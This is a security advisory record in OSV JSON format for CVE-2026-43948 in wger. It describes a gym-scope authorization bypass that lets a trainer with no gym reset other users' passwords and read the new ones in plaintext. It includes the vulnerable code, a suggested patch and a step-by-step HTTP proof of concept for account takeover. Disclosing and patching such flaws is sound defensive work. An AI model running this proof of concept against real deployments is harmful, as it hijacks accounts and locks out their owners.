{"id":"PYSEC-2026-574","summary":"wger: cross-tenant password reset and plaintext disclosure via gym=None bypass","details":"### Summary\n\nThe `reset_user_password` and `gym_permissions_user_edit` views in wger perform a gym-scope authorization check using Python object comparison (`!=`) that evaluates `None != None` as `False`, silently bypassing the guard when both the attacker and victim have no gym assignment (`gym=None`). A user with `gym.manage_gym` permission and `gym=None` can reset the password of **any other `gym=None` user**; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim's original password is invalidated, locking them out permanently.\n\n### Details\n\n**File**: `wger/gym/views/user.py`\n\nThe authorization guard in `reset_user_password` (and the parallel check in `gym_permissions_user_edit`) uses Django ORM object comparison:\n\n```python\n# VULNERABLE - wger/gym/views/user.py\n if request.user.userprofile.gym != user.userprofile.gym:\n    return HttpResponseForbidden()\n ```\n\nWhen both `request.user.userprofile.gym` and `user.userprofile.gym` are `None` (representing users with no gym assignment - the default for newly registered users before gym linking), Python evaluates `None != None` as `False`. The guard therefore passes without raising `HttpResponseForbidden`, and execution continues unconditionally to:\n\n```python\npassword = password_generator()\nuser.set_password(password)\n user.save()\nreturn render(request, 'user/trainer_login.html', {'password': password, ...})\n```\n\nThe generated password is rendered verbatim in the response body.\n \n**Affected endpoints**:\n- `GET /en/gym/user/\u003cuser_pk\u003e/reset-user-password` -\u003e `wger.gym.views.user.reset_user_password`\n- `GET /en/gym/user/\u003cuser_pk\u003e/edit` -\u003e `wger.gym.views.user.gym_permissions_user_edit`\n\n**Suggested patch**:\n\n```diff\n --- a/wger/gym/views/user.py\n+++ b/wger/gym/views/user.py\n-    if request.user.userprofile.gym != user.userprofile.gym:\n-        return HttpResponseForbidden()\n+    trainer_gym_id = request.user.userprofile.gym_id   # raw FK int\n+    member_gym_id  = user.userprofile.gym_id\n+\n+    if trainer_gym_id is None or trainer_gym_id != member_gym_id:\n+        return HttpResponseForbidden()\n```\n\nThe `_id` suffix accesses the raw integer foreign key, bypassing Python's object identity semantics. The explicit `is None` guard rejects unaffiliated trainers immediately, regardless of the victim's gym status. Apply the same `same_gym()` helper pattern to all five views sharing this check: `reset_user_password`, `gym_permissions_user_edit`, `admin_notes_list`, `documents_list`, `contracts_list`.\n\n### PoC\n\nTested on `wger/server:latest` Docker image (runtime: Django 5.2.13). Two test users: `trainer1` (`gym.manage_gym` permission, `userprofile.gym=None`) and `alice` (regular user, `userprofile.gym=None`).\n\n**Step 1** - Authenticate as trainer with `manage_gym` permission and `gym=None`:\n\n```\nPOST /en/user/login HTTP/1.1\nHost: target\nContent-Type: application/x-www-form-urlencoded\n\nusername=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]\n \n-\u003e 302 Found; Set-Cookie: sessionid=[trainer1_session]\n```\n\n**Step 2** - Trigger cross-tenant password reset:\n\n```\nGET /en/gym/user/2/reset-user-password HTTP/1.1\n Host: target\nCookie: sessionid=[trainer1_session]\n\n-\u003e 200 OK\n\u003ctr\u003e\u003cth\u003ePassword\u003c/th\u003e\u003ctd\u003e[GENERATED_PLAINTEXT_PASSWORD]\u003c/td\u003e\u003c/tr\u003e\n ```\n\n**Step 3** - Authenticate as victim (alice) using leaked password:\n\n```\n POST /en/user/login HTTP/1.1\nHost: target\n\nusername=alice&password=[GENERATED_PLAINTEXT_PASSWORD]&csrfmiddlewaretoken=[...]\n \n-\u003e 302 Found; authenticated as alice\n(alice's ORIGINAL password is now invalid - permanent lockout)\n```\n\n**RBAC Disproof Protocol** (three-scenario test):\n - Scenario A (admin, same-gym) -\u003e HTTP 200 (expected - documented feature)\n- Scenario B (trainer1 gym=None -\u003e alice gym=None) -\u003e **HTTP 200 with plaintext password in body** (expected HTTP 403)\n- Scenario C (trainer1 gym=1 -\u003e alice gym=2) -\u003e HTTP 403 (expected - guard works when gyms differ, confirms bypass is `None`-specific)\n \nReproducibility: 2/2 runs after clean-baseline database reset.\n\n### Impact\n \nAn attacker with `gym.manage_gym` permission and `gym=None` can:\n\n1. Reset the password of any other `gym=None` user on the wger instance.\n2. Receive the new plaintext password in the HTTP response body.\n3. Log in as the victim immediately.\n 4. Permanently lock the victim out (original password invalidated).\n\n**Affected deployments**: every wger instance where `gym.manage_gym` permission is delegated to non-admin users AND any other users exist with `gym=None`. The `gym=None` state is the **default for newly registered users** before manual gym assignment, so every public-registration wger instance is affected.\n\n**Severity**: Critical (CVSS 9.9). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope change (impersonation of other tenant), complete confidentiality/integrity/availability loss for all unaffiliated accounts.\n\nThis is the same structural bug class as the sibling finding affecting `trainer_login` (submitted separately). The root cause - Django ORM object-`!=` returning `False` when both sides are `None` - appears across five views and warrants a shared `same_gym()` helper.","aliases":["CVE-2026-43948","GHSA-mhc8-p3jx-84mm"],"modified":"2026-06-29T12:15:47.672262558Z","published":"2026-06-29T11:50:48.728363Z","references":[{"type":"WEB","url":"https://github.com/wger-project/wger/security/advisories/GHSA-mhc8-p3jx-84mm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43948"},{"type":"PACKAGE","url":"https://github.com/wger-project/wger"},{"type":"PACKAGE","url":"https://pypi.org/project/wger"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-mhc8-p3jx-84mm"}],"affected":[{"package":{"name":"wger","ecosystem":"PyPI","purl":"pkg:pypi/wger"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.6"}]}],"versions":["1.1","1.1.1","1.2","1.2rc1","1.3","1.4","1.5","1.6","1.6.1","1.7","1.8","1.9","2.0","2.1"],"database_specific":{"last_known_affected_version_range":"\u003c= 2.5","source":"https://github.com/pypa/advisory-database/blob/main/vulns/wger/PYSEC-2026-574.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"}]}